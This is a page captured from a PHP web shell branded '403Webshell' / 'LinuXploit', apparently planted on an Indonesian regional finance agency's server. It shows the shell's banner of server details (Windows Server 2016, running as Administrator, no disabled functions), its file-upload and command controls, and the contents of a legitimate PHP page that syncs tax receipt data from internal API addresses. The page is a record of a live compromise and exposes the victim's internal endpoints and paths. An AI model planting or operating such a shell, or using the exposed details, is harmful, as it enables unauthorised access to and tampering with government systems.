403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /karepmu_le371267hjsdasdasX/bpkd_api/work/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /karepmu_le371267hjsdasdasX/bpkd_api/work//bprd_tbp_tes.php
<?php
//$file = "test.json";
//$datajson = file_get_contents($file);
//$data = json_decode($datajson,true);

//echo "<pre>";
//print_r($data);
//echo "</pre>";

//$option = array();


//$linkApi = "https://bprd.lumajangkab.go.id/bprd/realisasi/realisasi.php?bulan=01&tahun=2023";

//$masterlinkApi = "https://bprd.lumajangkab.go.id/bprd/realisasi/realisasi.php?";
$masterlinkApi = "http://103.184.182.54:8080/RESAPI_SIPKD_2024/TBP?";
//http://103.184.182.54:8080/RESAPI_SIPKD_2024/TBP?TGL=01.10.2024
$bsurl = "https://bprd.lumajangkab.go.id/bprd/integrasibpkd/api_tbp.php?no_tbp=";

if(!empty($_GET['tglawal']) ){ 

	$awal = $_GET['tglawal'];
    
	$dawal = date_format(date_create($awal),'d.m.Y');

	$childlinkApi = $masterlinkApi."TGL=".$dawal;

	$dataApi = file_get_contents($childlinkApi,false);

	$data = json_decode($dataApi,true);

}else{
	$data=array();	
}    

?>


<!DOCTYPE html>
<html>
	<head>
		<title>REST API BPKD</title>
		<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.0/jquery.min.js"></script>
		<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" />
		<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
	    <!-- datepicker -->
	    <link rel="stylesheet" type="text/css" href="css/bootstrap-datepicker3.css" >

	</head>
	<body>
    <!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js">    </script>
    <!-- Include all compiled plugins (below), or include individual files as needed-->
    <script src="js/bootstrap.min.js"></script>
    <!-- Load File datepicker -->
    <script src="js/bootstrap-datepicker.js" type="text/javascript"></script>

		<div class="container">
			<br />
			
			<h3 align="center">SINGKRON TBP SIPKD VS BPRD - BY DATE  <font size="3" face="Tahoma" ><span class="label label-primary">unit compare</span></font></h3>
			<br />

			<form class="form-inline" method="get" action="">
	            <div class="form-group">
	              <div class="input-group date" data-provide="datepicker">
	                  <input id="tglawal" type="text" class="form-control" placeholder="tanggal TBP" name="tglawal" >
	                  <div class="input-group-addon">
	                      <span class="glyphicon glyphicon-th"></span>
	                  </div>
	              </div>
	            </div>
		    	<button type="submit" class="btn btn-success form-control"> Tampilkan </button>
			</form>
	    	<br>
	    	<font size="1" face="Tahoma" >
			<div class="table-responsive">
				<table class="table table-bordered table-striped">
					<thead>
						<tr>
							<th>ID_AKTIVITAS</th>
							<th>NOMOR</th>
							<th>TIPE</th>
							<th>TANGGAL</th>
							<th>KODE SKPD LKP</th>
							<th>NAMA SKPD</th>
							<th>KODE REK</th>
							<th>NAMA REK</th>
							<th>NOMINAL</th>
							<th>INTEGRASI<br>DG BPRD</th>
						</tr>
					</thead>
					<tbody>
					<?php
					$no=0;
					$totnominal=0;
					$nom="";
					if(count($data)>0){
						foreach($data as $row)
						{
							$no++;
							$nom=substr($row['NOMOR'],0,strpos($row['NOMOR'],'/'));
							$nom2=preg_replace("/[^0-9]/", "", $nom);
							echo '
							<tr>
								<td>'.$row['ID_AKTIVITAS'].'</td>
								<td>'.$row['NOMOR'].'</td>
								<td>'.$row['TIPE'].'</td>
								<td>'.$row['TANGGAL'].'</td>
								<td>'.$row['KODE_SKPD_LKP'].'</td>
								<td>'.$row['NAMA_SKPD'].'</td>
								<td>'.$row['KODE_REKENING'].'</td>
								<td>'.$row['NAMA_REKENING'].'</td>
								<td>'.number_format($row['NOMINAL']).'</td>
								<td>
					                <button type="button" class="btn btn-danger btn-xs edit_button" title="check data di BPRD" 
					                    data-toggle="modal" data-target="#myModal"
					                    data-url='.$bsurl.'
					                    data-id='.$nom2.'>
					                    Lihat
					                </button>


								</td>
							</tr>
							';
							$totnominal = $totnominal + $row['NOMINAL'];
						}

							echo '
							<tr>
								<td colspan="2"><b>TOTAL</b></td>
								<td><b>'.$no.'</b></td>
								<td colspan="5"></td>
								<td align="right"><b>'.number_format($totnominal).'</b></td>
								<td></td>
							</tr>
							';

					}else{
							echo '<tr><td colspan="10" align="center">-- belum ada data --</td></tr>';						
					}
					?>
						
					</tbody>
				</table>
			</div>
			</font>
		</div>
	</body>
</html>

<div class="modal fade" id="myModal" > 
  <div class="modal-dialog modal-dialog-centered modal-lg" role="document">
    <!-- Modal content-->
    <div class="modal-content">
      <div class="modal-header" style="padding: 1rem;">
        <button type="button" class="close" data-dismiss="modal">&times;</button>
        <h4 class="modal-title"><span class="glyphicon glyphicon-check"></span> Data Hasil Comparasi </h4>
      </div>
    <form method="get" id="form-edit" role="form">
        <div class="modal-body">
            <div id="data-edit">                        	 
            </div>
        </div>
        <div class="modal-footer">
            <button type="button" class="btn btn-danger" data-dismiss="modal">Close</button>
            <!--<button type="submit" class="btn btn-success" name="submit">Simpan</button>-->
        </div>
    </form>
    </div>
  </div>
</div>


<script type="text/javascript">

	$(document).on("click", ".edit_button", function() {
		var url = $(this).data("url");
		var id = $(this).data("id");

		var dataURL = "bprd_tbp_cek.php?nomor=" + id +"&url=" + url ;
		$("#data-edit").load(dataURL,function(){
	    	$("#myModal").modal({show:true});
	    	$('.modal-backdrop').remove();
		});
	});

</script>


Youez - 2016 - github.com/yon3zu
LinuXploit